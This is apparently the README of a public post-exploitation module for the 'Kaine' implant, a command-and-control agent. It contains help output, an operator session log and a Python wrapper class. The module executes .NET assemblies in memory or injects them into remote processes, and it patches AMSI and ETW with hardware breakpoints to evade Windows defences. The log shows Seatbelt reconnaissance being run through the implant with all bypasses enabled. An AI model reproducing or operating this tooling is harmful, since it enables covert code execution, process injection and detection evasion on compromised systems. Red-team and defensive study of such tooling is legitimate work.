a demo module for the kaine agent to execute and inject assembly modules
[28-Aug-24 21:30:09] Kaine >>> assembly --help
usage: assembly [-h] [--install] [--uninstall] [--list] [--unload UNLOAD]
[--list-versions] [--version VERSION]
{execute,inject} ...
assembly execution and injection module
positional arguments:
{execute,inject} assembly commands
execute inline/in-process execution of assembly files
inject remote process assembly injection command
options:
-h, --help show this help message and exit
--install install the assembly extension to the kaine implant
--uninstall uninstall the assembly extension from the kaine implant
--list list loaded app domains and assemblies
--unload UNLOAD unload specified app domain and it's loaded assemblies
--list-versions list available and installed CLR versions
--version VERSION use specific CLR version to list app domains and
assemblies (default: get the first installed runtime
version)
example usage:
assembly execute --file /opt/Seatbelt.exe --arguments="-group=all -full"
assembly inject 1337 --file /opt/Seatbelt.exe --arguments="-group=all -full"
assembly --list-versions
assembly --list
[28-Aug-24 21:30:33] Kaine >>> assembly inject --help
usage: assembly inject [-h] [--file FILE] [--arguments ARGUMENTS]
[--appdomain APPDOMAIN] [--random-appdomain]
[--bypass-amsi] [--bypass-etw] [--bypass-all]
[--version VERSION] [--pipe PIPE]
pid
positional arguments:
pid process id to inject assembly to
options:
-h, --help show this help message and exit
--file FILE assembly file to inject and execute
--arguments ARGUMENTS
argument's to pass to the assembly file
--appdomain APPDOMAIN
app domain to use (default app domain is going to get
used if not specified)
--random-appdomain generate a random name for the app domain
--bypass-amsi use hardware breakpoints to patch amsi
--bypass-etw use hardware breakpoints to patch etw
--bypass-all use hardware breakpoints to patch etw & amsi
--version VERSION use specific CLR version to execute assembly (default:
get the first installed runtime version)
--pipe PIPE named pipe to use for pipe back the output (default:
random name gets generated)
[28-Aug-24 21:30:36] Kaine >>> assembly execute --help
usage: assembly execute [-h] [--file FILE] [--arguments ARGUMENTS]
[--appdomain APPDOMAIN] [--random-appdomain]
[--bypass-amsi] [--bypass-etw] [--bypass-all]
[--version VERSION] [--keep-loaded] [--invoke INVOKE]
options:
-h, --help show this help message and exit
--file FILE assembly file to execute
--arguments ARGUMENTS
argument's to pass to the assembly file
--appdomain APPDOMAIN
app domain to use (default app domain is going to get
used if not specified)
--random-appdomain generate a random name for the app domain
--bypass-amsi use hardware breakpoints to patch amsi
--bypass-etw use hardware breakpoints to patch etw
--bypass-all use hardware breakpoints to patch etw & amsi
--version VERSION use specific CLR version to execute assembly (default:
get the first installed runtime version)
--keep-loaded should the assembly and domain specified be kept in
memory after execution (by default it is going to be
released and freed)
--invoke INVOKE invoke already loaded assembly
[28-Aug-24 21:24:17] Kaine >>> assembly --install
[28-Aug-24 21:24:17] [*] (79132d0b) install assembly execution and injection module
[28-Aug-24 21:24:21] [+] send tasks to agent [12349 bytes]
[28-Aug-24 21:24:21] [+] (79132d0b) successfully installed assembly module
[28-Aug-24 21:24:31] Kaine >>> assembly --list
[28-Aug-24 21:24:31] [*] (8750ae4e) list loaded app domains and assemblies
[28-Aug-24 21:24:36] [+] send tasks to agent [70 bytes]
[28-Aug-24 21:24:36] [*] listing app domains and loaded assemblies:
[DefaultDomain]:
- mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
[28-Aug-24 21:24:36] [+] (8750ae4e) successfully executed command
[28-Aug-24 21:25:34] Kaine >>> assembly execute --file /opt/SharpCollection/NetFramework_4.0_x64/Seatbelt.exe --arguments='antivirus' --bypass-all --keep-loaded --random-appdomain
[28-Aug-24 21:25:34] [*] random app domain is going to be used: iyprqv
[28-Aug-24 21:25:34] [!] no runtime version specified (first installed runtime version is going to be used)
[28-Aug-24 21:25:34] [*] enable hardware breakpoint hooking bypass for etw & amsi
[28-Aug-24 21:25:34] [*] (55d50347) execute .NET assembly file: /opt/SharpCollection/NetFramework_4.0_x64/Seatbelt.exe (607232 bytes)
[28-Aug-24 21:25:36] [+] send tasks to agent [607350 bytes]
[28-Aug-24 21:25:36] [+] output of executed assembly [1774 bytes]:
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.2.2 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
====== AntiVirus ======
Engine : Windows Defender
ProductEXE : windowsdefender://
ReportingEXE : %ProgramFiles%\Windows Defender\MsMpeng.exe
[*] Completed collection in 0,029 seconds
[28-Aug-24 21:25:36] [+] (55d50347) successfully executed command
[28-Aug-24 21:25:43] Kaine >>> assembly --list
[28-Aug-24 21:25:43] [*] (a7285f5) list loaded app domains and assemblies
[28-Aug-24 21:25:46] [+] send tasks to agent [70 bytes]
[28-Aug-24 21:25:46] [*] listing app domains and loaded assemblies:
[DefaultDomain]:
- mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
[iyprqv]:
- mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
- Seatbelt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
- System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
- System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
- System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
[28-Aug-24 21:25:47] [+] (a7285f5) successfully executed command
[28-Aug-24 21:27:02] Kaine >>> assembly execute --appdomain iyprqv --invoke Seatbelt --arguments='antivirus' --bypass-all
[28-Aug-24 21:27:02] [*] custom app domain is going to be used: iyprqv
[28-Aug-24 21:27:02] [!] no runtime version specified (first installed runtime version is going to be used)
[28-Aug-24 21:27:02] [*] enable hardware breakpoint hooking bypass for etw & amsi
[28-Aug-24 21:27:02] [*] (12ec794d) execute already loaded .NET assembly: Seatbelt
[28-Aug-24 21:27:06] [+] send tasks to agent [136 bytes]
[28-Aug-24 21:27:07] [+] output of executed assembly [1774 bytes]:
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.2.2 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
====== AntiVirus ======
Engine : Windows Defender
ProductEXE : windowsdefender://
ReportingEXE : %ProgramFiles%\Windows Defender\MsMpeng.exe
[*] Completed collection in 0,002 seconds
[28-Aug-24 21:27:07] [+] (12ec794d) successfully executed command
[28-Aug-24 21:28:09] Kaine >>> assembly --unload iyprqv
[28-Aug-24 21:28:09] [*] (4ba85418) unloading app domain: iyprqv
[28-Aug-24 21:28:12] [+] send tasks to agent [88 bytes]
[28-Aug-24 21:28:12] [+] unloaded app domain: iyprqv
[28-Aug-24 21:28:12] [+] (4ba85418) successfully executed command
[28-Aug-24 21:28:17] Kaine >>> assembly --list
[28-Aug-24 21:28:17] [*] (a4082653) list loaded app domains and assemblies
[28-Aug-24 21:28:22] [+] send tasks to agent [70 bytes]
[28-Aug-24 21:28:22] [*] listing app domains and loaded assemblies:
[DefaultDomain]:
- mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
[28-Aug-24 21:28:22] [+] (a4082653) successfully executed command
class AssemblySeatbelt( HcKaineCommand ):
def __init__( self, *args, **kwargs ):
super().__init__( *args, **kwargs )
self.command = "seatbelt"
self.description = "executing seatbelt through the assembly module"
self.seatbelt_path = '/opt/SharpCollection/NetFramework_4.0_x64/Seatbelt.exe'
return
def arguments(
self
):
self.parser.epilog = (
"example usage:\n"
" seatbelt antivirus\n"
)
# create the top-level parser
self.parser.add_argument( 'COMMANDS', help="commands to pass to seatbelt.exe" )
async def execute( self, args ):
kaine : HcKaine = self.agent()
dotnet : AssemblyModule = kaine.command( 'assembly' )
if dotnet is None:
self.log_error( 'assembly command has not been registerd' )
return
##
## check if object file exists
##
if exists( self.seatbelt_path ) is False:
self.log_error( f"seatbelt file not found: {self.seatbelt_path}" )
return
##
## read object file from disk
##
seatlbelt = file_read( self.seatbelt_path )
task = await dotnet.assembly_execute(
assembly = seatlbelt,
arguments = args.COMMANDS,
app_domain = 'GhostPackDomain',
bypass_amsi = True,
bypass_etw = True
)
uuid = format( task.task_uuid(), 'x' )
self.log_info( f"({uuid}) inline execute seatbelt.exe: {args.COMMANDS}" )
try:
hresult, output = await task.result();
if hresult == 0:
if len( output ) > 0:
self.log_good( f"output of seatbelt.exe [{ len( output ) } bytes]:" )
self.log_raw( f"\n{ output }" )
else:
self.log_warning( "no output received from executed assembly" )
else:
self.log_error( f"failed to invoke dotnet stub: {hresult:x} { self.error_reason(hresult) }" )
except Exception as e:
self.log_error( f"({uuid}) failed to execute command: {e}" )
return
self.log_good( f"({uuid}) successfully executed command" )
return
This is a public implementation of the assembly execution module used for future community use. Consider this provided as it is and no additional features going to be introduced and or added.
This project mainly based on other peoples work. I take no credit for anything provided in this project.
- InlineExecute-Assembly by anthemtotheego
- inject-assembly by kyleavery
- Dylan Tran for helping me as well.
- Github search. last but not least thanks to github for allowing me to search for function and COM related useage that i couldnt find officially documented (perhaps i did it poorly).